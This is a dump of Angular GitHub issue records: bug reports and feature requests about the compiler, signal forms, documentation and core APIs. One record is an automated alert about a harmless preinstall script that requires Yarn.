https://github.com/eschricker/ng-providers-bug

### Please provide the exception or error you saw

```true
If you serve the application it outputs 


outside if: -Foo

inside @if: -Bar

inside *ngIf: -Foo


Where it would be expected that `inside @if:` would also output `-Foo`
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI: 20.3.23
Node: 22.17.0
Package Mana... [TRUNCATED]","area: compiler,gemini-triaged",2026-04-09T14:12:47Z,2026-04-09T14:17:02Z,2
angular/angular,4232721618,Targeting child elements in CSS breaks outside of library,"### Which @angular/* package(s) are the source of the bug?

Don't known / other

### Is this a regression?

No

### Description

I've got an angular workspace with a library and an app.

Inside the library I've got a component which uses content projection with ng-content.
In the CSS I target the children - in this case LI - within the host selector.

<img width=""811"" height=""709"" alt=""Image"" src=""https://github.com/user-attachments/assets/72a06ae7-62c4-45c5-8fc6-e0d07e407e86"" />

Inside the library this works, but when I use it inside the app these styles are not applied.

When I check the generated styles I see they are generated but the **attribute selector for the LI is not equal to the one in the HTML.**

<img width=""798"" height=""604"" alt=""Image"" src=""https://github.com/user-attachments/assets/7e23d6e7-5349-4cf8-bfc8-4a221e1a6ef6"" />

Is this expected behavior?




### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.2.7
Angular           : 21.2.7
Node.js           : 22.20.0
Package Manager   : npm 11.9.0
Operating System  : linux x64

┌───────────────────────────────────┬───────────────────┬───────────────────┐
│ Package                           │ Installed Version │ Requested Version │
├───────────────────────────────────┼───────────────────┼───────────────────┤
│ @an... [TRUNCATED]","area: core,gemini-triaged",2026-04-09T13:50:10Z,2026-04-10T08:22:23Z,17
angular/angular,4230733802,conditional directives / attributes,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

found few similar posts, but not 100% touching this, i found
  - https://github.com/angular/angular/issues/5332
  - https://github.com/angular/angular/issues/5019                                                                                                                                                                                  
  - https://github.com/angular/angular/issues/6576
 
 but all i want is to use @if inside the element, making the static analysis still viable

### Proposed solution

Make @if work INSIDE an element, so directives and attributes can be conditional. 
Use cases are numerous, so a lot of upside. @if probably not implemented with this in mind, so not sure how big a change it would be, id be happy with a new control that works only inside if it simplifies things.

```
<div
@if condition {
my-special-directive
}
@if secondCondition {
my-special-directive-makes-the-duplication-squared
}
@[attribute?]-if thirdCondition {
my-special-directive-makes-the-duplication-cubed
}
many-other-directives-i-dont-want-to-duplicate-just-for-that-one-i-want-conditionally
and-any-attribute-too
>long content i don't want to duplicate
</div>
```

### Alternatives considered

current alternative is to add the condition inside the directive, or condition the whole block, which is what i want to avoid","area: compiler,gemini-triaged",2026-04-09T08:33:34Z,2026-04-09T08:59:40Z,2
angular/angular,4230669498,Signal forms: Include debounce duration in pending status,"### Which @angular/* package(s) are relevant/related to the feature request?

forms

### Description

The new debounce option for `validateAsync` for signal forms is great. However, it is currently not exposed that the debounce is running as the pending state on the form field only reflects the pending nature of the validation.

Take this example, https://stackblitz.com/edit/stackblitz-starters-qwmbwmbi?file=src%2Fmain.ts, and type in the input field. Notice that the field only switches to pending once you stop typing for a second and the debounce duration completes. 

Similarly, the error state only disappears after the debounce duration despite the error state being associated with previous value that is no longer present.

At the same time the debounced resource that is used internally and, therefore, its status is not accessible:

https://github.com/angular/angular/blob/5516769e170f282bed9f54e84b9a10a8ab66f899/packages/forms/signals/src/api/rules/validation/validate_async.ts#L129-L130

### Proposed solution

Consider the validation of the form field already during the debounce duration as pending. 

Additionally, this would improve the correlation between the current form value and error state as the error will immediately disappear if the user changes the form value and not keep considering the already adjusted value invalid during the debounce duration. 

### Alternatives considered

One could revert to using `debounce` on the form field and apply a the async validation... [TRUNCATED]","area: forms,forms: signals",2026-04-09T08:23:26Z,2026-05-04T20:03:09Z,1
angular/angular,4226563483,Homepage announcement banner overlaps navigation between 701–775px viewport width,"### Describe the problem that you experienced

The ""Angular v21 is here!"" announcement banner overlaps/clips behind the navigation bar at viewport widths between 701px and 775px.

And after 745px the banner is almost not visible at all. 

https://angular.dev/

This is a general clip of the bug

https://github.com/user-attachments/assets/afed44ed-528f-4b67-93b2-3b9cb3e83dfa

After 745px width

<img width=""833"" height=""170"" alt=""Image"" src=""https://github.com/user-attachments/assets/4b50e295-e94f-4657-8da1-cff0efb43c65"" />

### Enter the URL of the topic with the problem

_No response_

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```","open for contributions,area: docs-infra",2026-04-08T17:58:29Z,2026-04-10T14:58:52Z,1
angular/angular,4225085690,fixture.detectChanges v21,"### Command

test

### Is this a regression?

- [x] Yes, this behavior used to work in the previous version

### The previous version in which this bug was not present was

16

### Description

Callen fixture.detectChanges twice leads to NG0100: ExpressionChangedAfterItHasBeenCheckedError.

### Minimal Reproduction

```ts
@Component({
  selector: 'app-counter2',
  imports: [],
  template:`<div data-testid=""count"">{{ count }}</div>`
})
export class Counter {
  count = 0;
}
```

```ts
describe.skip('Counter2', () => {
  let component: Counter;
  let fixture: ComponentFixture<Counter>;

  beforeEach(async () => {
    await TestBed.configureTestingModule({
      imports: [Counter]
    }).compileComponents();

    fixture = TestBed.createComponent(Counter);
    component = fixture.componentInstance;
   });


  it('should', async () => {
   
    fixture.detectChanges();

   component.count++;

    fixture.detectChanges(); // it fails here and only if data has changed since previous detectChanges
    
  });


});
```

### Exception or Error

```text
NG0100: ExpressionChangedAfterItHasBeenCheckedError
```

### Your Environment

```text
ng version

     _                      _                 ____ _     ___
    / \   _ __   __ _ _   _| | __ _ _ __     / ___| |   |_ _|
   / △ \ | '_ \ / _` | | | | |/ _` | '__|   | |   | |    | |
  / ___ \| | | | (_| | |_| | | (_| | |      | |___| |___ | |
 /_/   \_\_| |_|\__, |\__,_|_|\__,_|_|       \____|_____|___|
                |___/


Angular CLI... [TRUNCATED]","area: core,gemini-triaged",2026-04-08T13:54:14Z,2026-04-08T14:04:30Z,3
angular/angular,4223931864,NG0200: Circular dependency when component implements both ControlValueAccessor and FormValueControl with transformedValue,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

Using `transformedValue` from @angular/forms/signals in a component that also provides `NG_VALUE_ACCESSOR` (to support legacy reactive forms / ngModel) causes a circular dependency error (NG0200) at runtime when the component is used with the [formField] directive.

**Steps to Reproduce**
1. Create a component that implements both ControlValueAccessor and FormValueControl<T>
2. Provide NG_VALUE_ACCESSOR in the component's providers array (needed to support ngModel / formControl usage)
3. Use transformedValue as a class field to manage display-vs-model value transformation
4. Use the component in a template with [formField] binding

```
@Component({
  selector: 'my-input',
  providers: [
    {
      provide: NG_VALUE_ACCESSOR,
      useExisting: forwardRef(() => MyInputComponent),
      multi: true,
    },
  ],
})
export class MyInputComponent
  implements ControlValueAccessor, FormValueControl<number | null>
{
  public value = model<number | null>(null);

  // This line causes NG0200 when [formField] is used on this component
  public raw = transformedValue(this.value, {
    format: (v) => v?.toString() ?? null,
    parse: (v) => ({ value: v ? parseFloat(v) : null }),
  });

  // ControlValueAccessor methods...
  writeValue(value: number | null) { ... }
  registerOnChange(fn: any) { ... }
  registerOnTouched(fn: any) { ... }
}
```

### Please provide a link to a ... [TRUNCATED]","area: forms,forms: signals",2026-04-08T10:45:25Z,2026-04-08T15:57:14Z,3
angular/angular,4220025770,Decorated classes have `declare` property set ,"### Which @angular/* package(s) are the source of the bug?

compiler

### Is this a regression?

No

### Description

Consider this example:

```ts
function sealed(constructor: Function) {
  Object.seal(constructor);
  Object.seal(constructor.prototype);
}

@sealed
class BugReport {
  type: string|number = ""report"";
  title: string;

  constructor(t: string) {
    this.title = t;
  }
}

class BugReportChild extends BugReport {
  declare type: number;
}

@Directive({})
export class Base {
  prop: string|number = 'report';
}

@Directive({
  selector: '[appCell]'
})
export class Child extends Base {
  declare prop: number;
  constructor() {
    super();
    console.log(this.prop)
    let br = new BugReportChild('title');
    console.log(br.type)
  }

}
```

The expected behaviour is both `console.log(this.prop)` and `console.log(br.type)` print 'report' in the console.

But that is not the case. properties that have a `declare` in the child class directive are set to `undefined`.

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-n7fvrxx1?file=src%2Fmain.ts

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.2.6
Angular           : 21.2.7
Node.js           : 22.22.2
Package Manager   : npm 10.9.7
Operating System  : linux x64
|-------------------------------------------------------------------... [TRUNCATED]","area: compiler,state: confirmed",2026-04-07T19:15:43Z,2026-04-22T18:39:32Z,3
angular/angular,4213350087,Directive decorator breaks typescript declare keyword behaviour,"### Which @angular/* package(s) are the source of the bug?

compiler

### Is this a regression?

No

### Description

Consider the following definitions:
```
@Directive({})
export class Base {
  prop: string|number = 'crap';
}

@Directive({
  selector: '[appCell]'
})
export class Child extends Base implements OnInit {
  declare prop: number;
  constructor() {
    super();
    console.log(this.prop)
  }

  ngOnInit() {
  }
}
```



Expected output in the console: 'crap'
Received output: undefined

### Please provide a link to a minimal reproduction of the bug

[Example Link](https://stackblitz.com/edit/stackblitz-starters-n7fvrxx1?file=src%2Fmain.ts)

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.2.6
Angular           : 21.2.7
Node.js           : 22.22.2
Package Manager   : npm 10.9.7
Operating System  : linux x64

?????????????????????????????????????????????????????????????????????
? Package                   ? Installed Version ? Requested Version ?
?????????????????????????????????????????????????????????????????????
? @angular/build            ? 21.2.6            ? ^21.2.6           ?
? @angular/cli              ? 21.2.6            ? ^21.2.6           ?
? @angular/common           ? 21.2.7            ? ^21.2.0           ?
? @angular/compiler         ? 21.2.7            ? ^21.2.0           ?
? @angular/compiler-cli     ? 21.2.7            ? ^2... [TRUNCATED]","area: compiler,gemini-triaged",2026-04-06T18:27:37Z,2026-04-06T18:45:54Z,3
angular/angular,4208279550,CSS class binding with the @Component decorator host propery doesn't render correctly,"### Which @angular/* package(s) are the source of the bug?

compiler, Don't known / other

### Is this a regression?

Yes

### Description

With following component, and Tailwind complex classes. The class name `md:col-[-3/-1]` renders as `md:col-[-3/-1` instead.

```typescript
@Component({
  selector: 'test-card',
  host: {
    '[class.md:col-[-3/-1]]': 'featured()',
  },
  template: 'Something'
})
export class TestComponent {
  readonly featured = input<boolean>(false);

  /*
  This is the current workaround
  @HostBinding('class.md:col-[-3/-1]')
  get isFeatured() {
    return this.featured();
  }
  */
}
```

# Verified by unit test
```typescript
describe('TestComponent', () => {
  let fixture: ComponentFixture<TestComponent>;
  
  beforeEach(async () => {
    await TestBed.configureTestingModule({
      imports: [TestComponent],
    }).compileComponents();

    // Set required inputs
    fixture = TestBed.createComponent(TestComponent); 
  });

  it('should add featured CSS classes when featured is true', async () => {
    fixture.componentRef.setInput('featured', true);
    fixture.detectChanges();
    await fixture.whenStable();

    const hostElement: HTMLElement = fixture.nativeElement;

    expect(hostElement.classList.contains('md:col-[-3/-1')).toBe(false);  // fails ( it renders this instead )
    expect(hostElement.classList.contains('md:col-[-3/-1]')).toBe(true);  // fails ( the rendering is incorrect )
  });
});
```

### Please provide a link to a minimal reprod... [TRUNCATED]","area: compiler,core: host and host bindings,P3,compiler: styles,gemini-triaged",2026-04-05T18:25:13Z,2026-04-06T20:21:53Z,4
angular/angular,4207184842,"add ""Random Topic"" button to angular.dev for exploratory learning","### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

A ""Random Topic"" (or ""Surprise Me"") button would serve developers who come to angular.dev out of curiosity to learn something new, not because they need to solve a specific problem or have a current topic in mind. 

One click takes you to a random doc page. Maybe you land on the directive composition API, maybe on hydration, maybe on signal forms. 

Browsing a large sidebar of topics and deciding what to read can feel overwhelming, and a random pick removes that friction entirely, similar to Wikipedia's well-loved ""Random article"".

### Proposed solution

Add a ""Random Topic"" button and a keyboard shortcut in the search dialog. It picks a random topic and navigates to it.

<img width=""866"" height=""331"" alt=""Image"" src=""https://github.com/user-attachments/assets/57306608-aa40-4b7a-8fc4-1d2c0e49c83a"" />

note: the # key shown in the mockup is a placeholder, the actual shortcut is open for discussion.

### Alternatives considered

This functionality could also be placed elsewhere, instead of inside the search dialog.","area: docs-infra,gemini-triaged",2026-04-05T10:19:06Z,2026-04-06T13:27:10Z,5
angular/angular,4206821834,[potential Security Alert] New `preinstall` script added in `angular-srcs@5.1.0-beta.2-yg.1`,"
A new `preinstall` script was detected in version `5.1.0-beta.2-yg.1` of the package `angular-srcs`.

**Suspicion Score:** 10/100

**Script content:**
```
node -e ""if(process.env.npm_execpath.indexOf('yarn') === -1) throw new Error('Please use Yarn instead of NPM to install dependencies. See: https://yarnpkg.com/lang/en/docs/install/')""
```
see [npm documentation on package scripts](https://docs.npmjs.com/cli/v9/using-npm/scripts) for more details.
and [the detector](https://github.com/alphaleadership/npm-check). to understand why this script might be dangerous.
to get the alert only for dangerous scripts, please visit[the telegram](https://t.me/npmalert) if you want to improve the algorythm open a pull request 
This could be a security risk. Please investigate.
","area: security,gemini-triaged",2026-04-05T07:19:08Z,2026-04-05T07:22:52Z,2
angular/angular,4202064751,Error of signal forms missing in error encyclopedia,"### Describe the problem that you experienced

I got the error NG01902 while using the signal forms, not sure if other errors are also not included or its just this one.

https://angular.dev/errors - does not list this error
https://angular.dev/errors/NG01902 - says page not found.

For anyone else running into this error in the meantime:
Turned out I was accidentally trying to set undefined for a field's value which was throwing the error, setting the value to null instead prevented the error.

### Enter the URL of the topic with the problem

https://angular.dev/errors

### Describe what you were looking for in the documentation

Explanation of NG01902 error (and other signal forms errors) and steps to prevent it ","open for contributions,area: docs",2026-04-03T20:19:15Z,2026-04-28T19:07:49Z,7
angular/angular,4202043149,Error of signal forms missing in error encyclopedia,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

I got the error NG01902 while using the signal forms, not sure if other errors are also not included or its just this one.

https://angular.dev/errors - does not list this error
https://angular.dev/errors/NG01902 - says page not found.

For anyone else running into this error in the meantime:
Turned out I was accidentally trying to set undefined for a field's value which was throwing the error, setting the value to null instead prevented the error.","area: forms,gemini-triaged",2026-04-03T20:12:45Z,2026-04-03T20:20:01Z,1
angular/angular,4198850061,Chrome DevTools source file not focusing when breakpoint hits  in Angular 19 with Webpack 4.47.0,"### Which @angular/* package(s) are the source of the bug?

compiler

### Is this a regression?

Yes

### Description

Environment:
- Angular Version: 19.2.6
- Angular CLI: 19.2.7
- Chrome Version: 146.0.7680.165
- Node: 20.17.0
- OS: Windows 10 x64
- Webpack: 4.47.0

Problem:
When debugging Angular 19 project in Chrome DevTools:
- Source file not auto-focusing in Sources panel
- Scope panel shows ""Not paused"" when breakpoint hits
- Call Stack shows ""Not paused""
- Bottom bar shows ""From main.js"" instead of .ts filename
- Same configuration works in another Angular 19 project

Steps to Reproduce:
1. Run ng serve
2. Open Chrome DevTools → Sources
3. Set breakpoint in any component
4. Trigger the action
5. Breakpoint hits but file does not focus

Expected Behavior:
Sources panel should auto-focus the .ts file 
and show scope variables when breakpoint hits

Actual Behavior:
Sources panel focuses main.js instead of .ts file
Scope and Call Stack show ""Not paused""

Already Tried:
- sourceMap: true in angular.json
- inlineSources: true in tsconfig.json
- optimization: false
- buildOptimizer: false
- Cleared node_modules and reinstalled
- Installed webpack@4.47.0
- Tried Microsoft Edge — same issue

<img width=""1897"" height=""888"" alt=""Image"" src=""https://github.com/user-attachments/assets/2c5cea7e-8b70-42e4-80a4-f45392d1b76b"" />

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please pr... [TRUNCATED]","area: devtools,gemini-triaged",2026-04-03T07:06:24Z,2026-04-03T07:09:44Z,2
angular/angular,4198204923,Pseudo host wrapper element,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

Angular components don’t currently provide a way to express host-element styling and bindings *in the template* using normal element syntax. Instead, developers must use either:

- `:host` / `:host(...)` selectors in component CSS, or
- host bindings (`host: { ... }`, `@HostBinding()`, etc.).

This can be awkward in practice, especially with utility-first CSS approaches (e.g. TailwindCSS), where teams prefer to keep styling colocated with markup in the HTML template:

- `:host` pushes host styling into CSS, away from the template where most utility classes live.
- Host bindings are written differently than standard template bindings, which makes them feel inconsistent and less discoverable during refactors.
- For dynamic styling (classes/styles/attrs on the host), there’s no way to write it with the same binding syntax used for other elements in the template.

A template-level “pseudo host wrapper” would allow developers to express host attributes/classes/styles using the same syntax as any other element, while keeping the rendered DOM unchanged.


### Proposed solution

Introduce a **pseudo host element** (name bikesheddable; e.g. `<ng-host>`) that is allowed in component templates and is treated as compile-time sugar for host bindings.

Example syntax:

```html
<ng-host class=""flex flex-col"" [style.width.px]=""calculateWidth()"">
  <!-- component content -->
</ng-host... [TRUNCATED]","area: compiler,gemini-triaged",2026-04-03T04:12:45Z,2026-04-03T06:13:34Z,1
angular/angular,4198076847,Misaligned icon and text in search results item,"### Describe the problem that you experienced

The icon in the search result items is vertically misaligned when the text is too long. 
The icon is aligned to the top of the container, while the title and subtitle are centered or flow into multiple lines below it.

<img width=""373"" height=""823"" alt=""Image"" src=""https://github.com/user-attachments/assets/c0bb6b2e-20f5-456a-a6ac-e5e77b7266e6"" />


For example, when searching for “update”  

This only happens in mobile view

https://next.angular.dev/


 

 ","open for contributions,area: docs-infra,gemini-triaged",2026-04-03T03:30:22Z,2026-04-06T17:57:12Z,1
angular/angular,4195964919,Support for input signals to update the input value if signals are used in the transform function,"### Which @angular/* package(s) are relevant/related to the feature request?

core

### Description

Basically the title, I want to have some custom transformations that depends on other values and those values can be updated, but currently the signal input value doesn't listen to those changes when signals are used at the transform function.

### Proposed solution

```typescript
  disabled = input<any, boolean>(false, {
    transform: (value) =>
      functionToTransform(value, this.context()),
  });
  context = input<any>()
```

### Alternatives considered

None","area: core,gemini-triaged",2026-04-02T17:27:04Z,2026-04-02T17:31:47Z,3
angular/angular,4192894437,DestroyRef and OnDestroy don't do the same thing,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

I wanted to use the new DestroyRef instead of ngOnDestroy. But the onDestroy removes the value and destroyRef does not.

Abstract class:
```ts
@Directive()
export abstract class InputDirective<T> {

  label = input.required<string>();
  key = input.required<string>();
  value = model.required<T | undefined | null>();

  destroyRef = inject(DestroyRef);

  ngOnDestroy() {
    console.log('ngOnDestroy', this.value())
  }

  constructor() {
    this.destroyRef.onDestroy(() => {
      console.warn(' destroyRef', this.value())
    })

    effect(() => {
      console.log(this.value())
    })

   
    // update the value live when typing
    let valueChangesSubscription: Subscription | null = null;

    effect(() => {
      this.formControl.setValue(this.value());

      if (valueChangesSubscription === null) {
        valueChangesSubscription = this.formControl.valueChanges
          .pipe(takeUntilDestroyed(this.destroyRef))
          .subscribe((value) => {
            if (this.value() !== value) {
              this.value.set(value);
            }
          });
      }
    });
  }

}

```

Example of a `input.component.ts`:
```ts
@Component({
  selector: 'lib-number-input',
})
export class NumberInputComponent extends InputDirective<number | string> {
  constructor() {
    super();
  }
}
```

Using the component in another html file
```html
        <lib-number-inpu... [TRUNCATED]","needs reproduction,area: core",2026-04-02T08:38:27Z,2026-04-02T13:13:54Z,5
angular/angular,4185083373,"Signal Forms: Submit always causes App to reload, even if stopPropagation() is called.","### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

I am using @angular/forms/signals. If I set the button type to submit, or call the function passed into ""submit"" output of the form, it always reloads the app, even if stopPropagation is called.
Pressing ENTER in the text field causes also the same behaviour.


HTML:
```
<form>

    <input type=""text"" [formField]=""testForm.testInput"">

    <button type=""submit"" (click)=""testSubmit($event)"">Submit</button>

</form>
```

TS:


   ```
testForm = form(signal({
    testInput: '',
  }));

  testSubmit(event: Event) {
    event.stopPropagation();
  }
```


### Please provide a link to a minimal reproduction of the bug

http://stackblitz.com/edit/stackblitz-starters-zt8v5vxc

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
""@angular/cdk"": ""~21.2.0"",
""@angular/common"": ""^21.2.6"",
""@angular/compiler"": ""^21.2.6"",
""@angular/core"": ""^21.2.6"",
""@angular/forms"": ""^21.2.6"",
""@angular/material"": ""~21.2.0"",
""@angular/platform-browser"": ""^21.2.6"",
```

### Anything else?

_No response_","area: forms,gemini-triaged",2026-04-01T08:21:44Z,2026-04-01T09:13:31Z,4
angular/angular,4183742222,ADEV: add links to class methods in docs,"Currently, class methods in the docs are not clickable and I can't navigate to a particular function from the main class definition. For example, if you open https://angular.dev/api/core/ApplicationRef, there is no way to navigate to the `bootstrap` function. Also, if you scroll down to the necessary function, you can't copy a link to this function (e.g. for sharing purposes). However, the link itself exists (try https://angular.dev/api/core/ApplicationRef#bootstrap).

The feature request is to implement the following:

- Add an ability to navigate to a class method by clicking on a corresponding line in the main class definition (also updating the URL accordingly).
- Add an ability to copy a URL to a particular method by clicking a button (which can appear on hover over the title of the class method section).","regression,area: docs-infra",2026-04-01T03:12:30Z,2026-04-07T16:05:42Z,4
angular/angular,4182741049,Resource DX: type-safe access to `Resource#value`,"### Which @angular/* package(s) are relevant/related to the feature request?

core

### Description

The idea is to prevent accessing `Resource#value` while the resource is in `'error'` status at the type level.

Runtime errors would become almost impossible.

## Current behavior

Today, `resource.value()` **throws** when status is `'error'`, but TypeScript still allows **unguarded** reads, for example:

```ts
// Compiles today; may throw at runtime when status is 'error'
console.log(userRes.value().name);
```

Common **safe** patterns require an explicit guard first:

1. **Guard inside a `computed` (or other reactive context)**

```ts
const name = computed(() => userRes.hasValue() ? userRes.value().name : '');
```

2. **Treat status + value as one compound state** - guard in TypeScript and in templates:

```ts
function printName(userRes: Resource<{name: string}>) {
  if (userRes.hasValue()) {
    console.log(userRes.value().name);
  }
}
```

```html
@if (userRes.hasValue()) {
<p>{{ userRes.value().name }}</p>
}
```

The problem is that **today’s types do not enforce those guards**: developers must be disciplined and repeat them everywhere. Unguarded reads compile and only fail at runtime — often far from where the read was written.

### Proposed solution

Model `Resource` at the type level as a **discriminated shape aligned with `ResourceSnapshot`**: With `status` being set to `error`, the `value` property does not exist.

That **forces type narrowing** before using `value()... [TRUNCATED]","area: core,cross-cutting: resource",2026-03-31T22:24:03Z,2026-04-01T17:33:35Z,2
angular/angular,4182507104,docs(docs-infra): improve angular-new-app skill,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

The `angular-new-app` SKILL.md has a few areas that could be improved:

1. Typo in frontmatter description: ""whenver"" → ""whenever""
2. Redundant persona: two separate ""You are an expert..."" sentences that can be consolidated into one
3. Step 2 lacks guidance on commonly useful `ng new` flags (`--style`, `--routing`, `--ssr`, `--prefix`, `--skip-tests`)
4. Step 4 is missing common generators (guard, interceptor, resolver, enum, class)


### Proposed solution

- Fix typo and consolidate duplicate persona into one line
- Add common `ng new` flags to step 2
- Add missing generators to step 4

### Alternatives considered

no","area: docs-infra,gemini-triaged",2026-03-31T21:32:04Z,2026-03-31T21:54:57Z,2
angular/angular,4174348964,Align `ApplicationRef.bootstrap` contract with `createComponent` function,"Currently, the `ApplicationRef.bootstrap` function ([link](https://angular.dev/api/core/ApplicationRef#bootstrap)) has a different (more limited) set of arguments and we can extend it to support directives and bindings in a way similar to the `createComponent` function ([link](https://angular.dev/api/core/createComponent)). For symmetry, it'd be great to have the `ApplicationRef.bootstrap` function take 2 arguments:

- Component (or component factory for backwards compatibility) as the first argument
- Config object (similar to `createComponent`, but more limited) as the second argument

The tricky part would be to support the second argument in the proposed shape, since currently the second argument of the `ApplicationRef.bootstrap` function might be an object as well. This might require a breaking change and a migration.","feature,area: core,needs: discussion",2026-03-30T22:03:55Z,2026-04-07T19:48:56Z,2
angular/angular,4173106063,NG0205 thrown on destroyed injector during SSR is unactionable in production monitoring,"### Which @angular/* package(s) are the source of the bug?

common

### Is this a regression?

No

### Description

When an HTTP request is initiated after the Angular injector has been destroyed (e.g. during SSR teardown, or via a third-party SDK that captures HttpClient and fires async callbacks), Angular throws NG0205: Injector has already been destroyed.
While this error is intentional, it is unactionable in production because:

- The stack trace is fully minified — no readable symbols or context
- The request URL is never included in the error, which is the one piece of runtime information that would identify the culprit
- It is impossible to determine from the trace alone whether the call originated from your own code or a third-party dependency

This makes the error controversial in production monitoring tools (Rollbar, Sentry, Datadog) — you know something went wrong, but you cannot determine what, where, or whether it caused actual data loss.

### Please provide a link to a minimal reproduction of the bug

https://github.com/arturovt/ng-request-after-injector-destroyed

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

_No response_",area: core,2026-03-30T18:31:18Z,2026-04-17T15:37:41Z,2
angular/angular,4172211285,Clean up overdue `SCHEDULE_IN_ROOT_ZONE` token and related plumbing (TODO targeted v19),"### Which @angular/* package(s) are relevant/related to the feature request?

core

### Description

`packages/core/src/change_detection/scheduling/zoneless_scheduling.ts` has a `TODO(atscott): Remove in v19` on the `SCHEDULE_IN_ROOT_ZONE` injection token. Angular is past v19 now.

This token and its associated plumbing (`SCHEDULE_IN_ROOT_ZONE_DEFAULT`, `scheduleInRootZone` option) are threaded through:
- `zoneless_scheduling.ts` — token definition
- `zoneless_scheduling_impl.ts` — injected in `ChangeDetectionSchedulerImpl`
- `ng_zone_scheduling.ts` — provided in `internalProvideZoneChangeDetection`
- `flags.ts` — default value
- `ng_zone.ts` — `scheduleInRootZone` in constructor, `NgZonePrivate`, and `InternalNgZoneOptions`
- 8 golden symbol files
- 2 test files passing `scheduleInRootZone: false`


### Proposed solution

Remove the `SCHEDULE_IN_ROOT_ZONE` token and all related `scheduleInRootZone` plumbing — always use `runOutsideAngular` as the TODO indicates.

### Alternatives considered

None,  the TODO explicitly targets v19 for removal.","area: core,gemini-triaged",2026-03-30T16:30:40Z,2026-03-30T16:33:46Z,2
angular/angular,4171893536,Remove overdue `legacy-partial-output-inputs` code (TODO targeted v18),"### Which @angular/* package(s) are relevant/related to the feature request?

compiler

### Description

There are 7 `TODO(legacy-partial-output-inputs): Remove in v18` comments across the compiler, core, and compiler-cli packages. Angular is well past v18 now, and this legacy code is dead weight.

The legacy format allowed directive inputs in partial compilation output to be represented as plain strings or `[publicName, className, transformFn?]` tuples. Since v17.1, a structured object format (`{ classPropertyName, publicName, isSignal, isRequired, transformFunction }`) replaced it. The old paths were kept temporarily for backward compat with older linkers but are no longer needed.

### Affected files
- `packages/compiler/src/compiler_facade_interface.ts` — `LegacyInputPartialMapping` type + union
- `packages/core/src/compiler/compiler_facade_interface.ts` — same (mirrored)
- `packages/compiler/src/render3/partial/api.ts` — same type + union
- `packages/compiler/src/jit_compiler_facade.ts` — `parseLegacyInputPartialOutput()` + legacy branch
- `packages/compiler/src/render3/partial/directive.ts` — `legacyInputsPartialMetadata()`, `needsNewInputPartialOutput()`
- `packages/compiler-cli/linker/.../partial_directive_linker_1.ts` — `parseLegacyInputPartialOutput()` + fallback
- `packages/compiler/src/render3/view/compiler.ts` — conditional `isSignal` emit


### Proposed solution

Remove all `LegacyInputPartialMapping` types, legacy parsing functions, and conditional fallbacks acr... [TRUNCATED]","area: compiler,gemini-triaged",2026-03-30T15:53:35Z,2026-03-30T16:34:09Z,2
angular/angular,4164230394,FormArray.push and change detection,"### Describe the problem that you experienced

This is what the Reactive Forms pages says ""NOTE: In zoneless applications, mutating a reactive forms model (for example calling [FormArray.push()](https://angular.dev/api/forms/FormArray#push)) does not automatically schedule component change detection."".
Is this really true though? When I test this and call FormArray.push i can see that markViewDirty is called and the view is updated in a zoneless application using Angular version 21.2.0

### Enter the URL of the topic with the problem

https://angular.dev/guide/forms/reactive-forms

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```","area: forms,gemini-triaged",2026-03-29T13:11:02Z,2026-03-29T13:50:02Z,2
angular/angular,4163704416,forms: pending status getter uses loose equality unlike other status getters,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

In `packages/forms/src/model/abstract_model.ts`, the `pending` getter uses loose equality (`==`) while all other status getters in the same class use strict equality (`===`):

- `get valid()` → `this.status === VALID`
- `get invalid()` → `this.status === INVALID`
- `get disabled()` → `this.status === DISABLED`
- `get pending()` → `this.status == PENDING` ← inconsistent

Both sides are strings so behavior is identical, but it's inconsistent with the rest of the class and wouldn't pass a strict linting rule.

### Please provide a link to a minimal reproduction of the bug

https://github.com/angular/angular/blob/main/packages/forms/src/model/abstract_model.ts#L661

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

_No response_","area: forms,gemini-triaged",2026-03-29T10:25:32Z,2026-03-29T14:12:52Z,1
angular/angular,4163450657,docs: typos and grammar errors across documentation files,"### Describe the problem that you experienced

Multiple documentation files contain typos, misspellings, and grammar errors that reduce readability and professionalism. Examples include ""decendants"" instead of ""descendants"", ""Github"" instead of ""GitHub"", ""an minimum"" instead of ""a minimum"", and subject-verb disagreements.

CONTRIBUTING.md
adev/src/content/guide/components/anatomy-of-components.md
adev/src/content/guide/components/styling.md
adev/src/content/guide/hydration.md
contributing-docs/branches-and-versioning.md
contributing-docs/caretaking.md
contributing-docs/commit-message-guidelines.md
contributing-docs/documentation-authoring.md
contributing-docs/triage-and-labelling.md
